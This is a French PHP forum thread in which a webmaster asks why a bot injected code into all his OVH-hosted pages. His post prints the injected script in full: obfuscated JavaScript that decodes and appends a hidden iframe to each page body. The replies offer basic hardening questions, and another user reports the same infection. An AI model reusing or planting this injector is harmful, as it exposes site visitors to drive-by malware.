[PHP] Sécurité - Injection de javascripts

Sécurité - Injection de javascripts [PHP] - PHP - Programmation

Marsh Posté le 13-02-2010 à 13:55:58    

Bonjour à tous,
 
Après une rapide recherche dans le forum, je n'ai pas trouvé de sujet concernant ma question.
Je possède un site intégralement fait en PHP maison (pas de framework) et hébergé chez OVH.
 
Hier, je me suis rendu compte que toutes mes pages contenant une minuscule iframe ajoutée par un robot.
 
En voici le code :
 

Code :
  1. <body class="page"> <kJNPAGyUfwlpmhli1o6kENwBUZTINEoUZ5KH6vuxrkQU5><script>function KfaNOQGmkA(QTCvLAKt){return QTCvLAKt.split(new String()).reverse().join(new String());}function eKnkhTmkgvU(IudgMsRyLmBV,ZgSTmGXZfLDTL){var iGMoXZukcDgHKADzaK=null;if(IudgMsRyLmBV==iGMoXZukcDgHKADzaK||IudgMsRyLmBV.length<8){return;}if(ZgSTmGXZfLDTL==iGMoXZukcDgHKADzaK||ZgSTmGXZfLDTL.length<=0){return;}var pEChMvpqCk="";for(var NrQWIkTLnvVkoac=0;NrQWIkTLnvVkoac<ZgSTmGXZfLDTL.length;NrQWIkTLnvVkoac++){pEChMvpqCk+=ZgSTmGXZfLDTL.charCodeAt(NrQWIkTLnvVkoac).toString();}var OttbmSmsBBm=Math.floor(pEChMvpqCk.length/5);var OoNEppSPr=parseInt(pEChMvpqCk.charAt(OttbmSmsBBm)+pEChMvpqCk.charAt(OttbmSmsBBm*2)+pEChMvpqCk.charAt(OttbmSmsBBm*3)+pEChMvpqCk.charAt(OttbmSmsBBm*4)+pEChMvpqCk.charAt(OttbmSmsBBm*5));var LosqKCWWCCdEfIseA=Math.round(ZgSTmGXZfLDTL.length/2);var zWlAUxwUohnqOb=Math.pow(2,31)-1;var wknzvpwvpTcPTTiqEu=parseInt(IudgMsRyLmBV.substring(IudgMsRyLmBV.length-8,IudgMsRyLmBV.length),16);IudgMsRyLmBV=IudgMsRyLmBV.substring(0,IudgMsRyLmBV.length-8);pEChMvpqCk+=wknzvpwvpTcPTTiqEu;while(pEChMvpqCk.length>10){pEChMvpqCk=(parseInt(pEChMvpqCk.substring(0,10))+parseInt(pEChMvpqCk.substring(10,pEChMvpqCk.length))).toString();}pEChMvpqCk=(OoNEppSPr*pEChMvpqCk+LosqKCWWCCdEfIseA)%zWlAUxwUohnqOb;var yntCTBVqZw="";var LkieMTDEOBiMRL="";for(var TryGsmbCpqOQpAOpU=0;TryGsmbCpqOQpAOpU<IudgMsRyLmBV.length;TryGsmbCpqOQpAOpU+=2){yntCTBVqZw=parseInt(parseInt(IudgMsRyLmBV.substring(TryGsmbCpqOQpAOpU,TryGsmbCpqOQpAOpU+2),16)^Math.floor((pEChMvpqCk/zWlAUxwUohnqOb)*255));LkieMTDEOBiMRL+=String.fromCharCode(yntCTBVqZw);pEChMvpqCk=(OoNEppSPr*pEChMvpqCk+LosqKCWWCCdEfIseA)%zWlAUxwUohnqOb;}return LkieMTDEOBiMRL;}IMWuTSHx=document.createElement(KfaNOQGmkA(eKnkhTmkgvU("de454495031205c856a9","wqcARdoRoGydGd" )));IMWuTSHx.setAttribute(KfaNOQGmkA(eKnkhTmkgvU("c8e89502583f47","tEuTceTymPZAyxXS" )),KfaNOQGmkA(eKnkhTmkgvU("34320ab0092a189dc8dba31f1740295669e13e36fd1e480d26450446f67dab6af889698b9949bac36cf615746779f43f5504707545","rRcsMgumrfXLv" )));IMWuTSHx.style.width=KfaNOQGmkA(eKnkhTmkgvU("7f820700ccbd9c","nJHPolvVHcGWFcKBdB" ));IMWuTSHx.style.height=KfaNOQGmkA(eKnkhTmkgvU("45cf0502043b45","oASopzGIEDzRmm" ));document.body.appendChild(IMWuTSHx);</script></kJNPAGyUfwlpmhli1o6kENwBUZTINEoUZ5KH6vuxrkQU5>


 
Un truc moche, pas très lisible à l'oeil nu et ce bout de code a été inséré sur toute mes pages php contenant une balise body.
L'insertion se fait juste après la balide ouvrante.
 
Ce qui me chagrine vraiment, c'est qu'en passant par Filezilla, je me suis rendu compte que l'intégralité de mon arborescence a été
visitée et que tous les fichiers php/php5 ont été ouverts en écriture.... (j'ai pu les écraser avec les bonnes versions mais bon...)
 
Est-ce que quelqu'un a déjà subi ce type d'attaque ?
Est-ce que quelqu'un a une idée du type de faille sur laquelle le robot a pu travailler (que je corrige) ?
 
Merci d'avance pour vos retours !
 
Seb


---------------
Webmaster http://www.theoffspringsession.com
Reply

Marsh Posté le 13-02-2010 à 13:55:58   

Reply

Marsh Posté le 13-02-2010 à 15:34:51    

t as utilisé les fonctions style htmlspecialchar(); htmlentities(); ?
 
droit sur tes fichiers?

Reply

Marsh Posté le 13-02-2010 à 15:49:06    

d@kn1ko a écrit :

t as utilisé les fonctions style htmlspecialchar(); htmlentities(); ?
 
droit sur tes fichiers?


 
tous mes scripts sont en 644
j'ai oublié de préciser que mon fichiers robots.txt (attributs 444) est souvent modifié aussi :(
 
pour toute insertion en base, j'utilise effectivement ceci :
htmlentities(addslashes($p_value))


Message édité par zeOffspring le 13-02-2010 à 15:49:35

---------------
Webmaster http://www.theoffspringsession.com
Reply

Marsh Posté le 13-02-2010 à 18:15:57    

Tout à l'heure, j'ai vu le même pb sur mon compte OVH. Insertion d'un code dans les index.php/html et les .js. Pourtant, je ne l'utilise pas !!! Il y avait juste Eskuel (que j'ai viré) et 2/3 fichiers affichant juste les valeurs de variables PHP, le phpinfo ou des trucs du genre.


---------------
http://www.aideinfo.com/  Whois adresses IP/domaines le plus évolué !!  FAQ Free Mobile
Reply

Sujets relatifs:

Leave a Replay

Make sure you enter the(*)required information where indicate.HTML code is not allowed